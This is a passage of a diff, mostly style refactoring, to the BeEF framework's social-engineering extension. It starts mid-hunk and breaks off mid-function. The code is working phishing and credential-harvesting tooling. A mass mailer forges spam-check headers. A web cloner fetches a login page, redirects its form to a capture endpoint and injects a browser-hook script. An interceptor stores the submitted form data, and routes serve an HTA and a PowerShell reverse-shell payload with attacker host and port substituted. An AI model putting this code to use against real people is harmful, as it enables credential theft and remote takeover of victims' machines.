|
||||||
end
|
end
|
||||||
|
|
||||||
n = tos_hash.size
|
n = tos_hash.size
|
||||||
@@ -75,27 +75,26 @@ module BeEF
|
|||||||
boundary = "------------#{random_string(24)}"
|
boundary = "------------#{random_string(24)}"
|
||||||
rel_boundary = "------------#{random_string(24)}"
|
rel_boundary = "------------#{random_string(24)}"
|
||||||
|
|
||||||
|
|
||||||
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
|
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
|
||||||
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
|
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
|
||||||
rel_header = email_related(rel_boundary)
|
rel_header = email_related(rel_boundary)
|
||||||
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
|
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary)
|
||||||
|
|
||||||
images = ""
|
images = ''
|
||||||
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
|
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
|
||||||
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary)
|
||||||
end
|
end
|
||||||
|
|
||||||
attachments = ""
|
attachments = ''
|
||||||
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
|
unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil?
|
||||||
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
|
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
|
||||||
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
close = email_close(boundary)
|
close = email_close(boundary)
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "Error constructing email."
|
print_error 'Error constructing email.'
|
||||||
raise
|
raise
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -105,143 +104,135 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
|
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
|
||||||
headers = <<EOF
|
<<~EOF
|
||||||
From: "#{fromname}" <#{from}>
|
From: "#{fromname}" <#{from}>
|
||||||
Reply-To: "#{fromname}" <#{from}>
|
Reply-To: "#{fromname}" <#{from}>
|
||||||
Return-Path: "#{fromname}" <#{from}>
|
Return-Path: "#{fromname}" <#{from}>
|
||||||
X-Mailer: #{user_agent}
|
X-Mailer: #{user_agent}
|
||||||
To: #{to}
|
To: #{to}
|
||||||
Message-ID: <#{msg_id}@#{@host}>
|
Message-ID: <#{msg_id}@#{@host}>
|
||||||
X-Spam-Status: No, score=0.001 required=5
|
X-Spam-Status: No, score=0.001 required=5
|
||||||
Subject: #{subject}
|
Subject: #{subject}
|
||||||
MIME-Version: 1.0
|
MIME-Version: 1.0
|
||||||
Content-Type: multipart/alternative;
|
Content-Type: multipart/alternative;
|
||||||
boundary=#{boundary}
|
boundary=#{boundary}
|
||||||
|
|
||||||
This is a multi-part message in MIME format.
|
This is a multi-part message in MIME format.
|
||||||
--#{boundary}
|
--#{boundary}
|
||||||
EOF
|
EOF
|
||||||
headers
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_plain_body(plain_text, boundary)
|
def email_plain_body(plain_text, boundary)
|
||||||
plain_body = <<EOF
|
<<~EOF
|
||||||
Content-Type: text/plain; charset="utf8"
|
Content-Type: text/plain; charset="utf8"
|
||||||
Content-Transfer-Encoding:8bit
|
Content-Transfer-Encoding:8bit
|
||||||
|
|
||||||
#{plain_text}
|
#{plain_text}
|
||||||
|
|
||||||
--#{boundary}
|
--#{boundary}
|
||||||
EOF
|
EOF
|
||||||
plain_body
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_related(rel_boundary)
|
def email_related(rel_boundary)
|
||||||
related = <<EOF
|
<<~EOF
|
||||||
Content-Type: multipart/related;
|
Content-Type: multipart/related;
|
||||||
boundary="#{rel_boundary}"
|
boundary="#{rel_boundary}"
|
||||||
|
|
||||||
|
|
||||||
--#{rel_boundary}
|
--#{rel_boundary}
|
||||||
EOF
|
EOF
|
||||||
related
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_html_body(html_body, rel_boundary)
|
def email_html_body(html_body, rel_boundary)
|
||||||
html_body = <<EOF
|
<<~EOF
|
||||||
Content-Type: text/html; charset=ISO-8859-1
|
Content-Type: text/html; charset=ISO-8859-1
|
||||||
Content-Transfer-Encoding: 7bit
|
Content-Transfer-Encoding: 7bit
|
||||||
|
|
||||||
#{html_body}
|
#{html_body}
|
||||||
--#{rel_boundary}
|
--#{rel_boundary}
|
||||||
EOF
|
EOF
|
||||||
html_body
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_add_image(name, path, rel_boundary)
|
def email_add_image(name, path, rel_boundary)
|
||||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
file_encoded = [File.read(path)].pack('m') # base64 encoded
|
||||||
image = <<EOF
|
<<~EOF
|
||||||
Content-Type: #{get_mime(path)};
|
Content-Type: #{get_mime(path)};
|
||||||
name="#{name}"
|
name="#{name}"
|
||||||
Content-Transfer-Encoding: base64
|
Content-Transfer-Encoding: base64
|
||||||
Content-ID: <#{name}>
|
Content-ID: <#{name}>
|
||||||
Content-Disposition: inline;
|
Content-Disposition: inline;
|
||||||
filename="#{name}"
|
filename="#{name}"
|
||||||
|
|
||||||
#{file_encoded}
|
#{file_encoded}
|
||||||
--#{rel_boundary}
|
--#{rel_boundary}
|
||||||
EOF
|
EOF
|
||||||
image
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_add_attachment(name, path, rel_boundary)
|
def email_add_attachment(name, path, rel_boundary)
|
||||||
file_encoded = [File.read(path)].pack("m") # base64 encoded
|
file_encoded = [File.read(path)].pack('m') # base64 encoded
|
||||||
image = <<EOF
|
<<~EOF
|
||||||
Content-Type: #{get_mime(path)};
|
Content-Type: #{get_mime(path)};
|
||||||
name="#{name}"
|
name="#{name}"
|
||||||
Content-Transfer-Encoding: base64
|
Content-Transfer-Encoding: base64
|
||||||
Content-Disposition: attachment;
|
Content-Disposition: attachment;
|
||||||
filename="#{name}"
|
filename="#{name}"
|
||||||
|
|
||||||
#{file_encoded}
|
#{file_encoded}
|
||||||
--#{rel_boundary}
|
--#{rel_boundary}
|
||||||
EOF
|
EOF
|
||||||
image
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def email_close(boundary)
|
def email_close(boundary)
|
||||||
close = <<EOF
|
<<~EOF
|
||||||
--#{boundary}--
|
--#{boundary}--
|
||||||
EOF
|
EOF
|
||||||
close
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replaces placeholder values from the plain/html email templates
|
# Replaces placeholder values from the plain/html email templates
|
||||||
def parse_template(name, link, linktext, template_path, template)
|
def parse_template(name, link, linktext, template_path, template)
|
||||||
result = ""
|
result = ''
|
||||||
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
|
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
|
||||||
img_count = 0
|
img_count = 0
|
||||||
File.open(template_path, 'r').each do |line|
|
File.open(template_path, 'r').each do |line|
|
||||||
# change the Recipient name
|
# change the Recipient name
|
||||||
if line.include?("__name__")
|
if line.include?('__name__')
|
||||||
result += line.gsub("__name__",name)
|
result += line.gsub('__name__', name)
|
||||||
# change the link/linktext
|
# change the link/linktext
|
||||||
elsif line.include?("__link__")
|
elsif line.include?('__link__')
|
||||||
if line.include?("__linktext__")
|
result += if line.include?('__linktext__')
|
||||||
result += line.gsub("__link__",link).gsub("__linktext__",linktext)
|
line.gsub('__link__', link).gsub('__linktext__', linktext)
|
||||||
else
|
else
|
||||||
result += line.gsub("__link__",link)
|
line.gsub('__link__', link)
|
||||||
end
|
end
|
||||||
# change images cid/name/alt
|
# change images cid/name/alt
|
||||||
elsif line.include?("src=\"cid:__")
|
elsif line.include?('src="cid:__')
|
||||||
img_count += 1
|
img_count += 1
|
||||||
if line.include?("name=\"img__") || line.include?("alt=\"__img")
|
result += if line.include?('name="img__') || line.include?('alt="__img')
|
||||||
result += line.gsub("__cid#{img_count}__",
|
line.gsub("__cid#{img_count}__",
|
||||||
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
|
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
|
||||||
@config.get("#{img_config}.cid#{img_count}"))
|
@config.get("#{img_config}.cid#{img_count}"))
|
||||||
else
|
else
|
||||||
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}"))
|
line.gsub("__cid#{img_count}__", @config.get("#{img_config}.cid#{img_count}"))
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
result += line
|
result += line
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
result
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_mime(file_path)
|
def get_mime(file_path)
|
||||||
result = ""
|
result = ''
|
||||||
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io|
|
IO.popen(['file', '--mime', '-b', file_path.to_s], 'r+') do |io|
|
||||||
result = io.readlines.first.split(";").first
|
result = io.readlines.first.split(';').first
|
||||||
end
|
end
|
||||||
result
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
def random_string(length)
|
def random_string(length)
|
||||||
output = (0..length).map{ rand(36).to_s(36).upcase }.join
|
output = (0..length).map { rand(36).to_s(36).upcase }.join
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -7,11 +7,8 @@ module BeEF
|
|||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
class Interceptor < BeEF::Core::Model
|
class Interceptor < BeEF::Core::Model
|
||||||
|
|
||||||
belongs_to :webcloner
|
belongs_to :webcloner
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,11 +6,8 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
|
|
||||||
class Massmailer < BeEF::Core::Model
|
class Massmailer < BeEF::Core::Model
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,11 +7,8 @@ module BeEF
|
|||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
class WebCloner < BeEF::Core::Model
|
class WebCloner < BeEF::Core::Model
|
||||||
|
|
||||||
has_many :interceptors
|
has_many :interceptors
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,7 +6,6 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module SocialEngineering
|
module SocialEngineering
|
||||||
|
|
||||||
#
|
#
|
||||||
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
|
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
|
||||||
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
|
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
|
||||||
@@ -27,7 +26,7 @@ module BeEF
|
|||||||
|
|
||||||
# serves the HTML Application (HTA)
|
# serves the HTML Application (HTA)
|
||||||
get '/hta' do
|
get '/hta' do
|
||||||
response['Content-Type'] = "application/hta"
|
response['Content-Type'] = 'application/hta'
|
||||||
@config = BeEF::Core::Configuration.instance
|
@config = BeEF::Core::Configuration.instance
|
||||||
beef_url_str = @config.beef_url_str
|
beef_url_str = @config.beef_url_str
|
||||||
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||||
@@ -43,7 +42,7 @@ module BeEF
|
|||||||
# serves the powershell payload after modifying LHOST/LPORT
|
# serves the powershell payload after modifying LHOST/LPORT
|
||||||
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
|
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
|
||||||
get '/ps.png' do
|
get '/ps.png' do
|
||||||
response['Content-Type'] = "text/plain"
|
response['Content-Type'] = 'text/plain'
|
||||||
|
|
||||||
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
|
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
|
||||||
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
|
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
|
||||||
@@ -51,9 +50,7 @@ module BeEF
|
|||||||
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
|
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
|
||||||
|
|
||||||
ps_payload = ''
|
ps_payload = ''
|
||||||
if File.exist?(ps_payload_path)
|
ps_payload = File.read(ps_payload_path).gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) if File.exist?(ps_payload_path)
|
||||||
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
|
|
||||||
end
|
|
||||||
ps_payload
|
ps_payload
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -8,12 +8,11 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module SocialEngineering
|
module SocialEngineering
|
||||||
class SEngRest < BeEF::Core::Router::Router
|
class SEngRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
before do
|
before do
|
||||||
error 401 unless params[:token] == config.get('beef.api_token')
|
error 401 unless params[:token] == config.get('beef.api_token')
|
||||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||||
'Pragma' => 'no-cache',
|
'Pragma' => 'no-cache',
|
||||||
'Cache-Control' => 'no-cache',
|
'Cache-Control' => 'no-cache',
|
||||||
@@ -33,19 +32,19 @@ module BeEF
|
|||||||
request.body.rewind
|
request.body.rewind
|
||||||
begin
|
begin
|
||||||
body = JSON.parse request.body.read
|
body = JSON.parse request.body.read
|
||||||
uri = body["url"]
|
uri = body['url']
|
||||||
mount = body["mount"]
|
mount = body['mount']
|
||||||
use_existing = body["use_existing"]
|
use_existing = body['use_existing']
|
||||||
dns_spoof = body["dns_spoof"]
|
dns_spoof = body['dns_spoof']
|
||||||
|
|
||||||
if uri != nil && mount != nil
|
if !uri.nil? && !mount.nil?
|
||||||
if (uri =~ URI::regexp).nil? #invalid URI
|
if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
|
||||||
print_error "Invalid URI"
|
print_error 'Invalid URI'
|
||||||
halt 401
|
halt 401
|
||||||
end
|
end
|
||||||
|
|
||||||
if !mount[/^\//] # mount needs to start with /
|
unless mount[%r{^/}] # mount needs to start with /
|
||||||
print_error "Invalid mount (need to be a relative path, and start with / )"
|
print_error 'Invalid mount (need to be a relative path, and start with / )'
|
||||||
halt 401
|
halt 401
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -54,19 +53,18 @@ module BeEF
|
|||||||
|
|
||||||
if success
|
if success
|
||||||
result = {
|
result = {
|
||||||
"success" => true,
|
'success' => true,
|
||||||
"mount" => mount
|
'mount' => mount
|
||||||
}.to_json
|
}.to_json
|
||||||
else
|
else
|
||||||
result = {
|
result = {
|
||||||
"success" => false
|
'success' => false
|
||||||
}.to_json
|
}.to_json
|
||||||
halt 500
|
halt 500
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
rescue StandardError
|
||||||
rescue => e
|
print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'
|
||||||
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
|
|
||||||
error 400 # Bad Request
|
error 400 # Bad Request
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -74,7 +72,7 @@ module BeEF
|
|||||||
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
|
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
|
||||||
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
|
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
|
||||||
# Example json_body:
|
# Example json_body:
|
||||||
#{
|
# {
|
||||||
# "template": "default",
|
# "template": "default",
|
||||||
# "subject": "Hi from BeEF",
|
# "subject": "Hi from BeEF",
|
||||||
# "fromname": "BeEF",
|
# "fromname": "BeEF",
|
||||||
@@ -84,31 +82,31 @@ module BeEF
|
|||||||
# "recipients": [{
|
# "recipients": [{
|
||||||
# "user1@gmail.com": "Michele",
|
# "user1@gmail.com": "Michele",
|
||||||
# "user2@antisnatchor.com": "Antisnatchor"
|
# "user2@antisnatchor.com": "Antisnatchor"
|
||||||
#}]
|
# }]
|
||||||
#}
|
# }
|
||||||
post '/send_mails' do
|
post '/send_mails' do
|
||||||
request.body.rewind
|
request.body.rewind
|
||||||
begin
|
begin
|
||||||
body = JSON.parse request.body.read
|
body = JSON.parse request.body.read
|
||||||
|
|
||||||
template = body["template"]
|
template = body['template']
|
||||||
subject = body["subject"]
|
subject = body['subject']
|
||||||
fromname = body["fromname"]
|
fromname = body['fromname']
|
||||||
fromaddr = body["fromaddr"]
|
fromaddr = body['fromaddr']
|
||||||
link = body["link"]
|
link = body['link']
|
||||||
linktext = body["linktext"]
|
linktext = body['linktext']
|
||||||
|
|
||||||
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
|
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
|
||||||
print_error "All parameters are mandatory."
|
print_error 'All parameters are mandatory.'
|
||||||
halt 401
|
halt 401
|
||||||
end
|
end
|
||||||
|
|
||||||
if (link =~ URI::regexp).nil? #invalid URI
|
if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
|
||||||
print_error "Invalid link or linktext"
|
print_error 'Invalid link or linktext'
|
||||||
halt 401
|
halt 401
|
||||||
end
|
end
|
||||||
|
|
||||||
recipients = body["recipients"][0]
|
recipients = body['recipients'][0]
|
||||||
|
|
||||||
recipients.each do |email, name|
|
recipients.each do |email, name|
|
||||||
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
||||||
@@ -116,20 +114,19 @@ module BeEF
|
|||||||
halt 401
|
halt 401
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue => e
|
rescue StandardError
|
||||||
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails"
|
print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails'
|
||||||
error 400
|
error 400
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
|
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
|
||||||
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
|
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "Invalid mailer configuration"
|
print_error "Mailer send_email failed: #{e.message}"
|
||||||
error 400
|
error 400
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -8,44 +8,42 @@ module BeEF
|
|||||||
module SocialEngineering
|
module SocialEngineering
|
||||||
require 'sinatra/base'
|
require 'sinatra/base'
|
||||||
class Interceptor < Sinatra::Base
|
class Interceptor < Sinatra::Base
|
||||||
|
configure do
|
||||||
configure do
|
|
||||||
set :show_exceptions, false
|
set :show_exceptions, false
|
||||||
end
|
|
||||||
|
|
||||||
# intercept GET
|
|
||||||
get "/" do
|
|
||||||
print_info "GET request from IP #{request.ip}"
|
|
||||||
print_info "Referer: #{request.referer}"
|
|
||||||
cloned_page = settings.cloned_page
|
|
||||||
cloned_page
|
|
||||||
end
|
|
||||||
|
|
||||||
# intercept POST
|
|
||||||
post "/" do
|
|
||||||
print_info "POST request from IP #{request.ip}"
|
|
||||||
request.body.rewind
|
|
||||||
data = request.body.read
|
|
||||||
print_info "Intercepted data:"
|
|
||||||
print_info data
|
|
||||||
|
|
||||||
interceptor_db = BeEF::Core::Models::Interceptor.new(
|
|
||||||
:webcloner_id => settings.db_entry.id,
|
|
||||||
:post_data => data,
|
|
||||||
:ip => request.ip
|
|
||||||
)
|
|
||||||
interceptor_db.save
|
|
||||||
|
|
||||||
if settings.frameable
|
|
||||||
print_info "Page can be framed :-) Loading original URL into iFrame..."
|
|
||||||
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
|
|
||||||
else
|
|
||||||
print_info "Page can not be framed :-) Redirecting to original URL..."
|
|
||||||
redirect settings.redirect_to
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
# intercept GET
|
||||||
|
get '/' do
|
||||||
|
print_info "GET request from IP #{request.ip}"
|
||||||
|
print_info "Referer: #{request.referer}"
|
||||||
|
cloned_page = settings.cloned_page
|
||||||
|
cloned_page
|
||||||
|
end
|
||||||
|
|
||||||
|
# intercept POST
|
||||||
|
post '/' do
|
||||||
|
print_info "POST request from IP #{request.ip}"
|
||||||
|
request.body.rewind
|
||||||
|
data = request.body.read
|
||||||
|
print_info 'Intercepted data:'
|
||||||
|
print_info data
|
||||||
|
|
||||||
|
interceptor_db = BeEF::Core::Models::Interceptor.new(
|
||||||
|
webcloner_id: settings.db_entry.id,
|
||||||
|
post_data: data,
|
||||||
|
ip: request.ip
|
||||||
|
)
|
||||||
|
interceptor_db.save
|
||||||
|
|
||||||
|
if settings.frameable
|
||||||
|
print_info 'Page can be framed :-) Loading original URL into iFrame...'
|
||||||
|
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
|
||||||
|
else
|
||||||
|
print_info 'Page can not be framed :-) Redirecting to original URL...'
|
||||||
|
redirect settings.redirect_to
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -13,8 +13,8 @@ module BeEF
|
|||||||
def initialize
|
def initialize
|
||||||
@http_server = BeEF::Core::Server.instance
|
@http_server = BeEF::Core::Server.instance
|
||||||
@config = BeEF::Core::Configuration.instance
|
@config = BeEF::Core::Configuration.instance
|
||||||
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
|
@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
|
||||||
@beef_hook = "#{@config.hook_url}"
|
@beef_hook = @config.hook_url.to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
def clone_page(url, mount, use_existing, dns_spoof)
|
def clone_page(url, mount, use_existing, dns_spoof)
|
||||||
@@ -35,33 +35,31 @@ module BeEF
|
|||||||
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
||||||
#
|
#
|
||||||
if use_existing.nil? || use_existing == false
|
if use_existing.nil? || use_existing == false
|
||||||
begin #,"--background"
|
begin
|
||||||
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
|
cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
|
||||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||||
cmd << "--no-check-certificate"
|
|
||||||
end
|
|
||||||
print_debug "Running command: #{cmd.join(' ')}"
|
print_debug "Running command: #{cmd.join(' ')}"
|
||||||
IO.popen(cmd, 'r+') do |wget_io|
|
IO.popen(cmd, 'r+') do |wget_io|
|
||||||
end
|
end
|
||||||
success = true
|
success = true
|
||||||
rescue Errno::ENOENT => e
|
rescue Errno::ENOENT
|
||||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "Errors executing wget: #{e}"
|
print_error "Errors executing wget: #{e}"
|
||||||
end
|
end
|
||||||
|
|
||||||
if success
|
if success
|
||||||
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
|
File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
|
||||||
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
|
File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
|
||||||
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
|
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
|
||||||
if line.include?("<form ") || line.include?("<FORM ")
|
if line.include?('<form ') || line.include?('<FORM ')
|
||||||
line_attrs = line.split(" ")
|
line_attrs = line.split(' ')
|
||||||
c = 0
|
c = 0
|
||||||
cc = 0
|
cc = 0
|
||||||
#todo: probably doable also with map!
|
# TODO: probably doable also with map!
|
||||||
# modify the form 'action' attribute
|
# modify the form 'action' attribute
|
||||||
line_attrs.each do |attr|
|
line_attrs.each do |attr|
|
||||||
if attr.include? "action=\""
|
if attr.include? 'action="'
|
||||||
print_info "Form action found: #{attr}"
|
print_info "Form action found: #{attr}"
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
@@ -69,24 +67,24 @@ module BeEF
|
|||||||
end
|
end
|
||||||
line_attrs[c] = "action=\"#{mount}\""
|
line_attrs[c] = "action=\"#{mount}\""
|
||||||
|
|
||||||
#todo: to be tested, needed in case like yahoo
|
# TODO: to be tested, needed in case like yahoo
|
||||||
# delete the form 'onsubmit' attribute
|
# delete the form 'onsubmit' attribute
|
||||||
#line_attrs.each do |attr|
|
# line_attrs.each do |attr|
|
||||||
# if attr.include? "onsubmit="
|
# if attr.include? "onsubmit="
|
||||||
# print_info "Form onsubmit event found: #{attr}"
|
# print_info "Form onsubmit event found: #{attr}"
|
||||||
# break
|
# break
|
||||||
# end
|
# end
|
||||||
# cc += 1
|
# cc += 1
|
||||||
#end
|
# end
|
||||||
#line_attrs[cc] = ""
|
# line_attrs[cc] = ""
|
||||||
|
|
||||||
mod_form = line_attrs.join(" ")
|
mod_form = line_attrs.join(' ')
|
||||||
print_info "Form action value changed in order to be intercepted :-D"
|
print_info 'Form action value changed in order to be intercepted :-D'
|
||||||
out_file.print mod_form
|
out_file.print mod_form
|
||||||
# Add the BeEF hook
|
# Add the BeEF hook
|
||||||
elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
|
elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
|
||||||
out_file.print add_beef_hook(line)
|
out_file.print add_beef_hook(line)
|
||||||
print_info "BeEF hook added :-D"
|
print_info 'BeEF hook added :-D'
|
||||||
else
|
else
|
||||||
out_file.print line
|
out_file.print line
|
||||||
end
|
end
|
||||||
@@ -95,104 +93,103 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if File.size("#{@cloned_pages_dir + output}") > 0
|
if File.size((@cloned_pages_dir + output).to_s).zero?
|
||||||
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
|
|
||||||
|
|
||||||
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
|
|
||||||
|
|
||||||
